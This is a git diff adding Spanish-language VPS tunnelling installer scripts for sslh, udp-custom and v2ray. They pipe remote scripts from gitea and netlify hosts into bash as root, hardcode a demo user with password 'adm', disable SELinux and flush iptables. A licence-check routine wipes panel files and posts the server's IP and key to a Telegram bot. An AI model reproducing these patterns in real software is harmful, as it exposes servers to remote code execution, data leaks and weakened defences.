'{print $2}') +[[ "$(echo -e $nodet|grep "$test1 $test2")" ]] || nodet+="$test1 $test2\n" +done <<< "$t_node" +i=1 +echo -e "$nodet" +} +#REGLAS SSLH +reglas_sslh () { +[[ -e "/etc/stunnel/stunnel.conf" ]] && ptssl="$(netstat -nplt | grep 'stunnel' | awk {'print $4'} | cut -d: -f2 | xargs)" || ptssl='444' +[[ -e "/etc/openvpn/server.conf" ]] && ptvpn="$(netstat -nplt | grep 'openvpn' | awk {'print $4'} | cut -d: -f2 | xargs)" || ptvpn='460' +[[ -e "/etc/default/dropbear" ]] && ptfrop="$(netstat -nplt | grep 'dropbear' | awk {'print $4'} | cut -d: -f2 | xargs)" || ptfrop='143' +DEBIAN_FRONTEND=noninteractive apt-get -y install sslh 1> /dev/null 2> /dev/null +echo -e " Ingresa Un puerto Libre, Para activar SSLH\n" +read -p " Ingresa Puerto SSLH : " psshl +echo -e "#Modo autónomo\n\nRUN=yes\n\nDAEMON=/usr/sbin/sslh\n\nDAEMON_OPTS='--user sslh --listen 0.0.0.0:$psshl --ssh 127.0.0.1:22 --ssl 127.0.0.1:$ptssl --http 127.0.0.1:$ptfrop --openvpn 127.0.0.1:$ptvpn --pidfile /var/run/sslh/sslh.pid'" > /etc/default/sslh +## echo -e "#Modo autónomo\n\nRUN=yes\n\nDAEMON=/usr/sbin/sslh\n\nDAEMON_OPTS='--user sslh --listen 0.0.0.0:3128 --ssh 0.0.0.0:22 --ssl 0.0.0.0:$ptssl --http 0.0.0.0:80 --openvpn 127.0.0.1:$ptvpn --pidfile /var/run/sslh/sslh.pid'" >/etc/default/sslh +/etc/init.d/sslh start && service sslh start +} +msg(){ + echo -e "$bar1" + echo -e "${blanco}#######################################################${cierre}" + echo -e "${blanco}# ❗️ Protocolos reconocidos ${azul}ssl, https, openvpn, ${blanco}# ${cierre}" + echo -e "${blanco}# ❗️ ${azul}Openconnect, http, sslh; ssh,${cierre} ${blanco}si su servicio es ${blanco}# ${cierre}" + echo -e "${blanco}# ❗️ Diferente porfavor en nombre establezca ${guinda}anyprot ${blanco}# ${cierre}" + echo -e "${blanco}# ----------------------------------------------- #${cierre}" + echo -e "${blanco}# ${amarillo} SCRIPT Modo Beta, Creditos a @drowkid01 ${blanco}#${cierre}" + echo -e "${blanco}# ${melon}----------------------------------------------- ${blanco}#${cierre}" + echo -e "${blanco}# dev: ${verde}@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ${blanco}#${cierre}" + echo -e "${blanco}#######################################################${cierre}" + echo -e "$bar1" + echo "" +} +capturar_servicio(){ + echo -e "${azul}Escriba el nombre de servicio que de desea agregar${cierre}" + echo -e "$bar2" + read -p "$(echo -e "${amarillo}ingrese: ${cierre}")" -e -i anyprot service +} +capturar_puerto(){ + echo -e "$bar2" + echo -e "${blanco}Escriba el numero de PUERTO${cierre}" + echo -e "$bar1" + read -p "$(echo -e "${amarillo}ingrese: ${cierre}")" puerto_i + if [[ $(t_port| grep "$puerto_i") ]]; then + echo + else + echo -e "$bar1" + echo -e "${guinda}⚠️ EL Puerto ${blanco} ${puerto_i} ${guinda}No existe ${cierre}" + echo -e "${guinda}⚠️ Utilice puertos existentes ${cierre}" + echo -e "$bar1" + capturar_puerto + fi + if [ -f $dir_puertos/$puerto_i ]; then + echo -e "$bar2" + echo -e "${guinda}⚠️ EL Puerto ${blanco} ${puerto_i} ${guinda}Ya se encuentra en USO ${cierre}" + echo -e "${guinda}⚠️ Intente con otro puerto ${cierre}" + capturar_puerto + else + echo -e "$bar2" + echo -e "${blanco}REGISTRO EXITOSO !! ${cierre}" + echo -e "$bar2" + fi + touch $dir_puertos/$puerto_i +} +instalar_sslh(){ + dir_base + reglas_sslh + if [ $? -eq 0 ]; then + echo -e "$bar2" + echo -e "${blanco}INICIO EXITOSO!! , ACTUALMETE ESTA HABILITADO EL SERVICIO OPENSSH ${cierre}" + echo -e "${blanco}AGREGUE MAS SERVICIO EN EL MENU ${melon}SSLH - MULTIPLEXOR ${cierre}" + service sslh start + echo -e "$bar2" + else + echo -e "$bar2" + echo -e "${rojo}⚠️ ERROR INESPERADO, POR FAVOR REVISE SUS SERVICIOS${cierre}" + echo -e "${rojo}⚠️ Y VUELVA A INTERNTARLO ${cierre}" + echo -e "$bar2" + service sslh start + fi + back_menu +} +agregar_servicos(){ + echo -e "$bar1" + capturar_servicio + capturar_puerto + sed -i "s;anyprot;${service};g" $dir_conf + sed -i "s;000;$puerto_i $plantilla_service;g" $dir_conf + if [ $? -eq 0 ]; then + echo -e "${blanco}SERVICIO ${verde}${service_f}${cierre} ${blanco}AGREGADO CON EXITO ${cierre}" + echo -e "${blanco}AGREGUE MAS SERVICIO EN EL MENU ${melon}SSLH - MULTIPLEXOR ${cierre}" + service sslh start + else + echo -e "${rojo}⚠️ ERROR INESPERADO, POR FAVOR REVISE SUS SERVICIOS${cierre}" + echo -e "${rojo}⚠️ Y VUELVA A INTERNTARLO ${cierre}" + fi + echo -e "${blanco}${service} ${guinda}${puerto_i}${cierre}" >> $dir_info + echo -e "${puerto_i}" >> $dir_ports + service sslh restart + back_menu + } +eliminar_servicio(){ + unset service + unset puerto_i + echo -e "$bar1" + cat $dir_info | awk -v OFS='\t\t' '{print $1,$2}' + echo -e "$bar1" + echo -e "${azul}Escriba el nombre de servicio que de desea Eliminar${cierre}" + echo -e "$bar2" + read -p "$(echo -e "${amarillo}ingrese: ${cierre}")" -e -i anyprot service + echo -e "${azul}Escriba el numero de puerto que de desea Eliminar${cierre}" + echo -e "$bar2" + read -p "$(echo -e "${amarillo}ingrese: ${cierre}")" puerto_i + rm_service="--$service 127.0.0.1:$puerto_i" + sed -i "s;$rm_service;proto;g" $dir_conf + sed -i 's/proto//g' $dir_conf + grep -Ev "$puerto_i" $dir_info > temp + mv -f temp $dir_info + service sslh restart + rm -rf temp + rm -rf $dir_puertos/$puerto_i + back_menu +} +informacion_puertos(){ + echo -e "${verde}SERVICIO ${blanco}/ ${verde}PUERTO${cierre}" + echo -e "$bar1" + cat $dir_info | awk -v OFS='\t\t' '{print $1,$2}' + echo -e "$bar1" + back_menu +} +desinstalar(){ + service sslh stop + rm -rf $dir_info + rm -rf $dir_ports + rm -rf $dir_conf + rm -rf $dir_base + rm -rf $dir_service + rm -rf $arch_serv + rm -rf $dir_puertos + apt purge sslh -y +} +sslh_onoff=`if netstat -tunlp |grep sslh 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m🟢" +else +echo -e "\033[1;31m🔴" +fi` +total_p=$(cat $dir_info) +menu_sslh(){ + clear + msg +echo -e "${melon} SSLH - MULTIPLEXOR +${bar1} +${morado}ESTADO DE SERVICIO: ${blanco}>${cierre} ${guinda}SSLH: $sslh_onoff ${cierre} +${bar2} +${azul}[1]${cierre} ${rojo}>${cierre} ${amarillo}INSTALAR ${verde}SSLH${cierre} +${azul}[2]${cierre} ${rojo}>${cierre} ${amarillo}AGREGAR SERVICIOS${cierre} +${azul}[3]${cierre} ${rojo}>${cierre} ${amarillo}ELIMINAR ${guinda}SERVICIOS${cierre} +${azul}[4]${cierre} ${rojo}>${cierre} ${amarillo}INFORMACION DE PUERTOS${cierre} +${azul}[5]${cierre} ${rojo}>${cierre} ${guinda}DESINSTALAR SSLH${cierre} +${azul}[0]${cierre} ${rojo}>${cierre} ${blanco}SALIR${cierre} +${bar2}" +read -p "$(echo -e "${blanco}seleccione [0-5]:${cierre}")" selection +case "$selection" in + 1)instalar_sslh ;; + 2)agregar_servicos ;; + 3)eliminar_servicio ;; + 4)informacion_puertos ;; + 5)desinstalar ;; + 0)cd $HOME && menu;; + *) + echo -e "${rojo} Porfavor seleccione del [0-5]${cierre}" + ;; +esac +} +menu_sslh \ No newline at end of file diff --git a/Recursos/menu_inst/stunnel-5.65.tar.gz b/Recursos/menu_inst/stunnel-5.65.tar.gz new file mode 100644 index 0000000..4aef370 Binary files /dev/null and b/Recursos/menu_inst/stunnel-5.65.tar.gz differ diff --git a/Recursos/menu_inst/udp-custom.sh b/Recursos/menu_inst/udp-custom.sh new file mode 100644 index 0000000..61471b2 --- /dev/null +++ b/Recursos/menu_inst/udp-custom.sh @@ -0,0 +1,357 @@ +#!/bin/bash +clear +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg +dir_user="/etc/adm-lite/userDIR" +pausa(){ +echo -ne "\033[1;37m" +read -p " Presiona Enter para Continuar " +} + + info() { + puerto=$1 + + msg -bar + echo + msg -ama " INSTALADOR UDPserver | @drowkid01•Plus" + echo + msg -bar + msg -ama " SOURCE OFICIAL DE Epro Dev Team" + echo -e " https://t.me/ePro_Dev_Team" + msg -bar + msg -ama " CODIGO REFACTORIZADO POR @drowkid01" + [[ -z ${puerto} ]] || add.user ${puerto} + pausa + clear + } + + +cd +[[ ! -d /etc/ADMcgh ]] && mkdir -p /etc/ADMcgh + +# change to time GMT+7 +#ln -fs /usr/share/zoneinfo/Asia/Jakarta /etc/localtime + +# install udp-custom +#echo downloading udp-custom +#wget -q --show-progress --load-cookies /tmp/cookies.txt https://www.dropbox.com/s/muzdqkid5ganb7c/udp-custom-linux-amd64?dl=0 -O /bin/UDP-Custom && rm -rf /tmp/cookies.txt +#chmod +x /bin/UDP-Custom + +#echo downloading default config +#wget -q --show-progress --load-cookies /tmp/cookies.txt https://www.dropbox.com/s/pccfmw4h830wbn4/config.json?dl=0 -O /etc/ADMcgh/config.json && rm -rf /tmp/cookies.txt +#chmod 644 /etc/ADMcgh/config.json + + +#echo reboot + +echo -e " BY " + +echo -e " Power by ®𝙲𝙶𝙷¬𝙱𝙾𝚃" + +#reboot + + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m ► Opcion: " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + +make_service(){ +if [ -z "$1" ]; then +cat < /etc/systemd/system/udp-custom.service +[Unit] +Description=udp-custom by ePro Dev. Team + +[Service] +User=root +Type=simple +ExecStart=/bin/UDP-Custom server --config /etc/ADMcgh/config.json +WorkingDirectory=/etc/ADMcgh/ +Restart=always +RestartSec=2s + +[Install] +WantedBy=default.target +EOF +else +cat < /etc/systemd/system/udp-custom.service +[Unit] +Description=udp-custom by ePro Dev. Team + +[Service] +User=root +Type=simple +ExecStart=/bin/UDP-Custom server -exclude $1 --config /etc/ADMcgh/config.json +WorkingDirectory=/etc/ADMcgh/ +Restart=always +RestartSec=2s + +[Install] +WantedBy=default.target +EOF +fi + +#echo start service udp-custom +systemctl start udp-custom &>/dev/null + +#echo enable service udp-custom + + msg -nama ' Habilitando servicio UDPserver ------' + if systemctl enable udp-custom &>/dev/null &>/dev/null ; then + msg -verd 'OK' + #_mssBOT "ACTIVADO!!" + else + msg -verm2 'fail' + #_mssBOT " FALLIDO!!" + fi + + msg -nama ' Iniciando servicio UDPserver -------' + if systemctl start udp-custom &>/dev/null &>/dev/null &>/dev/null ; then + msg -verd 'OK' + #_mssBOT "ACTIVADO!!" + else + msg -verm2 'fail' + #_mssBOT " FALLIDO!!" + fi +msg -bar + while true; do + msg -nama ' Digita un Puerto para el Servicio de\n' + msg -nama ' Prederteminado ( ENTER )\n' + read -p " UDP-Custom: " udpPORT + tput cuu1 >&2 && tput dl1 >&2 + checkPORT=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $udpPORT` + [[ -n "$checkPORT" ]] || break + prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$udpPORT"{print $9}'` + echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup" + msg -bar + return + done + tput cuu1 >&2 && tput dl1 >&2 + tput cuu1 >&2 && tput dl1 >&2 + tput cuu1 >&2 && tput dl1 >&2 +[[ -z ${udpPORT} ]] && udpPORT='36712' + msg -nama ' Iniciando servicio UDPserver -------' +if sed -i "s/36712/${udpPORT}/" /etc/ADMcgh/config.json ; then + msg -verd 'OK' + else + msg -verm2 'fail' +fi +reset_slow +port=$(lsof -V -i UDP -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep -E 'UDP-Custom'| cut -d ":" -f2) +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +tput cuu1 >&2 && tput dl1 >&2 +add.user ${port} + #iptables -t nat -F &>/dev/null + #iptables -t mangle -F &>/dev/null + #iptables -X &>/dev/null + #iptables -P INPUT ACCEPT &>/dev/null + #iptables -P FORWARD ACCEPT &>/dev/null + #iptables -P OUTPUT ACCEPT &>/dev/null +pausa +} + + + +download_udpServer(){ + msg -nama ' Descargando binario UDPserver V 1.2 ----' +[[ $(uname -m 2> /dev/null) != x86_64 ]] && { + if wget -O /bin/UDP-Custom 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/UDP/udp-arm64.bin' &>/dev/null ; then + chmod +x /bin/UDP-Custom + msg -verd ' ARM64 - OK' + else + msg -verm2 'fail' + rm -rf /bin/UDP-Custom* + fi +} || { + if wget -O /bin/UDP-Custom 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/UDP/udp-amd64.bin' &>/dev/null ; then + chmod +x /bin/UDP-Custom + msg -verd ' X64 OK' + else + msg -verm2 'fail' + rm -rf /bin/UDP-Custom* +fi +} + msg -nama ' Descargando Config UDPserver -------' + if wget -O /etc/ADMcgh/config.json 'https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/binarios/UDP/config.json' &>/dev/null ; then + chmod 644 /etc/ADMcgh/config.json + msg -verd 'OK' + else + msg -verm2 'fail' + rm -f /etc/ADMcgh/config.json* + fi +#chekKEY &> /dev/null 2>&1 +make_service +} + +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +Key="$(cat /etc/cghkey)" +IiP="$(ofus "$Key" | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}')" +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Control/Control-BOT +_double=$(cat < /file) +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +[[ ! -d /bin/ejecutar/Ubam ]] && mkdir /bin/ejecutar/Ubam +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +echo 'clear&&clear +echo -e "\n\n\n \033[0;31m================================================== + ¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR + ================================================== \n\n ${mss_} \n\n + SI CONSIDERA QUE FUE UN ERROR, TECLEA ** cgh ** + " +' > /bin/menu +rm -f /etc/folteto +rm -f /etc/adm-lite/menu + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} INSECTO DETECTADO EN UDPCustom ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" KEY : ${Key}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + + + + reset_slow(){ + msg -bar + msg -ama " Reiniciando UDPserver...." + #screen -ls | grep udp-custom | cut -d. -f1 | awk '{print $1}' | xargs kill + if systemctl restart udp-custom &>/dev/null ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar + fi + pausa + } + + stop_slow(){ + clear + msg -bar + msg -ama " Deteniendo UDPserver...." + if systemctl stop udp-custom ; then + msg -verd " Con exito!!!" msg -bar + else + msg -verm " Con fallo!!!" msg -bar + fi + pausa + } + + remove() { + stop_slow + systemctl disable udp-custom + rm -f /etc/systemd/system/udp-custom.service + rm -f /bin/UDP-Custom* + rm -f /etc/ADMcgh/config* + rm -rf /root/udp + iptables -t nat -F &>/dev/null + iptables -t mangle -F &>/dev/null + iptables -X &>/dev/null + iptables -P INPUT ACCEPT &>/dev/null + iptables -P FORWARD ACCEPT &>/dev/null + iptables -P OUTPUT ACCEPT &>/dev/null + #_mssBOT "REMOVIDO!!" + } + + add.user () { + port=$1 + user='ADMcgh' + clave='adm' + #$(cat /etc/ADMcgh/config.json | grep user | cut -d '"' -f4) + #user=$(cat /etc/ADMcgh/config.json | jq .user) + #clave=$(cat /etc/ADMcgh/config.json | jq .auth.pass[]) +valid=$(date '+%C%y-%m-%d' -d " +2 days") +if useradd -M -s /bin/false $user -e $valid ; then +(echo $clave; echo $clave)|passwd $user >/dev/null 2>&1 & +echo "senha: $clave" > $dir_user/$user +echo "limite: 2" >> $dir_user/$user +echo "data: $valid" >> $dir_user/$user +msg -verd " USER : ADMcgh | DEMOSTRACION AGREGADO!!!" +else +echo -e "${cor[5]} ⚠️ Usuario DEMO ya Existe ⚠️" +msg -verm " USER : ADMcgh | No Agregado!!!" +fi + msg -bar + echo + msg -bar + echo -e " ESTO ES UNA GUIA DEL FORMATO DEL USUARIO" + echo -e " VE AL MENU DE USUARIOS Y CREA UNO" + msg -bar + echo + echo -e "【 CONFIG >${cor[4]} $(wget -qO- ifconfig.me)${cor[2]}:${cor[5]}1-65535${cor[2]}@${cor[4]}$user${cor[2]}:${cor[4]}${clave} 】" | pv -qL 80 + echo + msg -bar + msg -ama " RECUERDA CREAR TUS USUARIOS SSH NORMAL" + msg -bar + } + + edit_json() { + msg -bar + msg -ama " PARA EDITAR EL USUARIO EDITA" + msg -ama " /etc/ADMcgh/config.json" + msg -bar +echo -e "\033[1;37m Para Salir Ctrl + C o 0 Para Regresar\033[1;33m" +echo -e " \033[1;31m[ !!! ]\033[1;33m EDITA LAS CREDENCIALES \033[1;31m\033[1;33m" +msg -bar +echo -e " \033[1;31mLuego de Editar.. Presiona Ctrl + O y Enter \033[1;33m \033[1;31m\033[1;33m" +echo -e " \033[1;31m Por Ultimo Ctrl + X \033[1;33m \033[1;31m\033[1;33m" +pausa +nano /etc/ADMcgh/config.json +reset_slow + } + +while : +do +unset port + tittle + msg -ama " BINARIO OFICIAL DE Epro Dev Team 1.2" + msg -bar + [[ $(ps x | grep UDP-Custom| grep -v grep) ]] && { + _pid="\033[1;32m[ ON ]" + port=$(lsof -V -i UDP -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND"|grep -E 'UDP-Custo'| cut -d ":" -f2) + msg -ama " PUERTO EN EJECUCION DE UDPserver : ${port}" + msg -bar + } || _pid="\033[1;31m[ OFF ]" + msg -ama " INSTALADOR UDPserver | @drowkid01•Plus" + msg -bar + menu_func "Instalar UDPserver $_pid" "$(msg -ama "Reiniciar UDPserver")" "$(msg -verm2 "Detener UDPserver")" "$(msg -verm2 "Remover UDPserver")" "$(msg -ama "Info de Proyecto")" + msg -bar + echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m Volver " + msg -bar + opcion=$(selection_fun 5) + case $opcion in + 1)download_udpServer;; + #2)edit_json;; + 2)reset_slow;; + 3)stop_slow;; + 4)remove;; + 5)info ${port};; + 0)exit;; + esac +done diff --git a/Recursos/menu_inst/v2ray.sh b/Recursos/menu_inst/v2ray.sh new file mode 100644 index 0000000..52c02a6 --- /dev/null +++ b/Recursos/menu_inst/v2ray.sh @@ -0,0 +1,376 @@ +#!/bin/bash +# Author: Jrohy +# github: https://github.com/Jrohy/multi-v2ray + +ofus () { +unset txtofus +number=$(expr length $1) +for((i=1; i<$number+1; i++)); do +txt[$i]=$(echo "$1" | cut -b $i) +case ${txt[$i]} in +".") txt[$i]="x";; +"x") txt[$i]=".";; +"5") txt[$i]="s";; +"s") txt[$i]="5";; +"1") txt[$i]="@";; +"@") txt[$i]="1";; +"2") txt[$i]="?";; +"?") txt[$i]="2";; +"4") txt[$i]="0";; +"0") txt[$i]="4";; +"/") txt[$i]="K";; +"K") txt[$i]="/";; +esac +txtofus+="${txt[$i]}" +done +echo "$txtofus" | rev +} + + + +function chekKEY { +[[ -z ${IP} ]] && IP=$(mip) +Key="$(cat /etc/cghkey)" +_Key='/etc/cghkey' +[[ -e /file ]] && _double=$(cat < /file) || { +wget -q -O /file https://www.dropbox.com/s/5hr0wv1imo35j1e/Control-BOT +_double=$(curl -sSL "https://www.dropbox.com/s/5hr0wv1imo35j1e/Control-BOT") +echo -e "$(echo -e "$_double" | grep ${IiP})" > /file +} +_check2="$(echo -e "$_double" | grep ${IiP})" +[[ ! -e /etc/folteto ]] && { +wget --no-check-certificate -O /etc/folteto $IiP:81/ChumoGH/checkIP.log +cheklist="$(cat /etc/folteto)" +echo -e "$(echo -e "$cheklist" | grep ${IP})" > /etc/folteto +} +[[ -z ${_check2} ]] && { +[[ ! -d /bin/ejecutar/Ubam ]] && mkdir /bin/ejecutar/Ubam +mss_='\n BotGEN NO AUTORIZADO POR @drowkid01 ' +echo 'clear&&clear +echo -e "\n\n\n \033[0;31m================================================== + ¡ 🚫 KEY BANEADA 🚫 ! CONTACTE Su ADMINISTRADOR + ================================================== \n\n ${mss_} \n\n + SI CONSIDERA QUE FUE UN ERROR, TECLEA ** cgh ** + " +' > /bin/menu +rm -f /etc/folteto +mv etc/adm-lite/* /bin/ejecutar/Ubam + MENSAJE="${TTini}${m3ssg}MSG RECIVIDO${m3ssg}${TTfin}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" IP Clon: ${IP} Rechazada\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${lLaM} INSECTO DETECTADO EN INSTALL V2RAY ${lLaM}\n" + MENSAJE+=" ---------------------------------------------\n" + MENSAJE+=" ${rUlq} Bot generador de key ${rUlq}\n" + MENSAJE+=" ${pUn5A} By @drowkid01 ${pUn5A} \n" + MENSAJE+=" ---------------------------------------------\n" + curl -s --max-time 10 -d "chat_id=$ID&disable_web_page_preview=1&text=$(echo -e "$MENSAJE")" $urlBOT &>/dev/null +exit && exit +} +} + + + +apt install jq -y +BEIJING_UPDATE_TIME=3 +BEGIN_PATH=$(pwd) +INSTALL_WAY=0 +HELP=0 +REMOVE=0 +CHINESE=0 +BASE_SOURCE_PATH="https://multi.netlify.app" +UTIL_PATH="/etc/v2ray_util/util.cfg" +UTIL_CFG="$BASE_SOURCE_PATH/v2ray_util/util_core/util.cfg" +BASH_COMPLETION_SHELL="$BASE_SOURCE_PATH/v2ray" +CLEAN_IPTABLES_SHELL="$BASE_SOURCE_PATH/v2ray_util/global_setting/clean_iptables.sh" +#Centos 临时取消别名 +[[ -f /etc/redhat-release && -z $(echo $SHELL|grep zsh) ]] && unalias -a +[[ -z $(echo $SHELL|grep zsh) ]] && ENV_FILE=".bashrc" || ENV_FILE=".zshrc" +#######color code######## +RED="31m" +GREEN="32m" +YELLOW="33m" +BLUE="36m" +FUCHSIA="35m" + +colorEcho(){ + COLOR=$1 + echo -e "\033[${COLOR}${@:2}\033[0m" +} + +#######get params######### +while [[ $# > 0 ]];do + key="$1" + case $key in + --remove) + REMOVE=1 + ;; + -h|--help) + HELP=1 + ;; + -k|--keep) + INSTALL_WAY=1 + colorEcho ${BLUE} "keep config to update\n" + ;; + --zh) + CHINESE=0 + colorEcho ${BLUE} "VERSION CHINA..\n" + ;; + *) + # unknown option + ;; + esac + shift # past argument or value +done +############################# + +help(){ + echo "bash v2ray.sh [-h|--help] [-k|--keep] [--remove]" + echo " -h, --help Show help" + echo " -k, --keep keep the config.json to update" + echo " --remove remove v2ray,xray && multi-v2ray" + echo " no params to new install" + return 0 +} + +removeV2Ray() { + #卸载V2ray脚本 + bash <(curl -L -s https://multi.netlify.app/go.sh) --remove >/dev/null 2>&1 + rm -rf /etc/v2ray >/dev/null 2>&1 + rm -rf /var/log/v2ray >/dev/null 2>&1 + + #卸载Xray脚本 + bash <(curl -L -s https://multi.netlify.app/go.sh) --remove -x >/dev/null 2>&1 + rm -rf /etc/xray >/dev/null 2>&1 + rm -rf /var/log/xray >/dev/null 2>&1 + + #清理v2ray相关iptable规则 + bash <(curl -L -s $CLEAN_IPTABLES_SHELL) + + #卸载multi-v2ray + pip uninstall v2ray_util -y + rm -rf /usr/share/bash-completion/completions/v2ray.bash >/dev/null 2>&1 + rm -rf /usr/share/bash-completion/completions/v2ray >/dev/null 2>&1 + rm -rf /usr/share/bash-completion/completions/xray >/dev/null 2>&1 + rm -rf /etc/bash_completion.d/v2ray.bash >/dev/null 2>&1 + rm -rf /usr/local/bin/v2ray >/dev/null 2>&1 + rm -rf /etc/v2ray_util >/dev/null 2>&1 + rm -rf /etc/profile.d/iptables.sh >/dev/null 2>&1 + rm -rf /root/.iptables >/dev/null 2>&1 + + #删除v2ray定时更新任务 + crontab -l|sed '/SHELL=/d;/v2ray/d'|sed '/SHELL=/d;/xray/d' > crontab.txt + crontab crontab.txt >/dev/null 2>&1 + rm -f crontab.txt >/dev/null 2>&1 + + if [[ ${PACKAGE_MANAGER} == 'dnf' || ${PACKAGE_MANAGER} == 'yum' ]];then + systemctl restart crond >/dev/null 2>&1 + else + systemctl restart cron >/dev/null 2>&1 + fi + + #删除multi-v2ray环境变量 + sed -i '/v2ray/d' ~/$ENV_FILE + sed -i '/xray/d' ~/$ENV_FILE + source ~/$ENV_FILE + + RC_SERVICE=`systemctl status rc-local|grep loaded|egrep -o "[A-Za-z/]+/rc-local.service"` + + RC_FILE=`cat $RC_SERVICE|grep ExecStart|awk '{print $1}'|cut -d = -f2` + + sed -i '/iptables/d' ~/$RC_FILE + + colorEcho ${GREEN} "uninstall success!" +} + +closeSELinux() { + #禁用SELinux + if [ -s /etc/selinux/config ] && grep 'SELINUX=enforcing' /etc/selinux/config; then + sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config + setenforce 0 + fi +} + +checkSys() { + #检查是否为Root + [ $(id -u) != "0" ] && { colorEcho ${RED} "Error: Porfavor ejecute este SCRIP como root"; exit 1; } + + if [[ `command -v apt-get` ]];then + PACKAGE_MANAGER='apt-get' + elif [[ `command -v dnf` ]];then + PACKAGE_MANAGER='dnf' + elif [[ `command -v yum` ]];then + PACKAGE_MANAGER='yum' + else + colorEcho $RED "Sistema No Soportado!" + exit 1 + fi +} + +#安装依赖 +installDependent(){ + if [[ ${PACKAGE_MANAGER} == 'dnf' || ${PACKAGE_MANAGER} == 'yum' ]];then + ${PACKAGE_MANAGER} install socat crontabs bash-completion which -y + else + ${PACKAGE_MANAGER} update + ${PACKAGE_MANAGER} install socat cron bash-completion ntpdate gawk -y + fi + + #install python3 & pip + source <(curl -sL https://python3.netlify.app/install.sh) +} + +updateProject() { + [[ ! $(type pip 2>/dev/null) ]] && colorEcho $RED "pip no install!" && exit 1 + + [[ -e /etc/profile.d/iptables.sh ]] && rm -f /etc/profile.d/iptables.sh + + RC_SERVICE=`systemctl status rc-local|grep loaded|egrep -o "[A-Za-z/]+/rc-local.service"` + + RC_FILE=`cat $RC_SERVICE|grep ExecStart|awk '{print $1}'|cut -d = -f2` + + if [[ ! -e $RC_FILE || -z `cat $RC_FILE|grep iptables` ]];then + LOCAL_IP=`curl -s http://api.ipify.org 2>/dev/null` + [[ `echo $LOCAL_IP|grep :` ]] && IPTABLE_WAY="ip6tables" || IPTABLE_WAY="iptables" + if [[ ! -e $RC_FILE || -z `cat $RC_FILE|grep "/bin/bash"` ]];then + echo "#!/bin/bash" >> $RC_FILE + fi + if [[ -z `cat $RC_SERVICE|grep "\[Install\]"` ]];then + cat >> $RC_SERVICE << EOF + +[Install] +WantedBy=multi-user.target +EOF + systemctl daemon-reload + fi + echo "[[ -e /root/.iptables ]] && $IPTABLE_WAY-restore -c < /root/.iptables" >> $RC_FILE + chmod +x $RC_FILE + systemctl restart rc-local + systemctl enable rc-local + + $IPTABLE_WAY-save -c > /root/.iptables + fi + + pip install -U v2ray_util + + if [[ -e $UTIL_PATH ]];then + [[ -z $(cat $UTIL_PATH|grep lang) ]] && echo "lang=en" >> $UTIL_PATH + else + mkdir -p /etc/v2ray_util + curl $UTIL_CFG > $UTIL_PATH + fi + + [[ $CHINESE == 1 ]] && sed -i "s/lang=en/lang=zh/g" $UTIL_PATH + + rm -f /usr/local/bin/v2ray >/dev/null 2>&1 + ln -s $(which v2ray-util) /usr/local/bin/v2ray + rm -f /usr/local/bin/xray >/dev/null 2>&1 + ln -s $(which v2ray-util) /usr/local/bin/xray + + #移除旧的v2ray bash_completion脚本 + [[ -e /etc/bash_completion.d/v2ray.bash ]] && rm -f /etc/bash_completion.d/v2ray.bash + [[ -e /usr/share/bash-completion/completions/v2ray.bash ]] && rm -f /usr/share/bash-completion/completions/v2ray.bash + + #更新v2ray bash_completion脚本 + curl $BASH_COMPLETION_SHELL > /usr/share/bash-completion/completions/v2ray + curl $BASH_COMPLETION_SHELL > /usr/share/bash-completion/completions/xray + if [[ -z $(echo $SHELL|grep zsh) ]];then + source 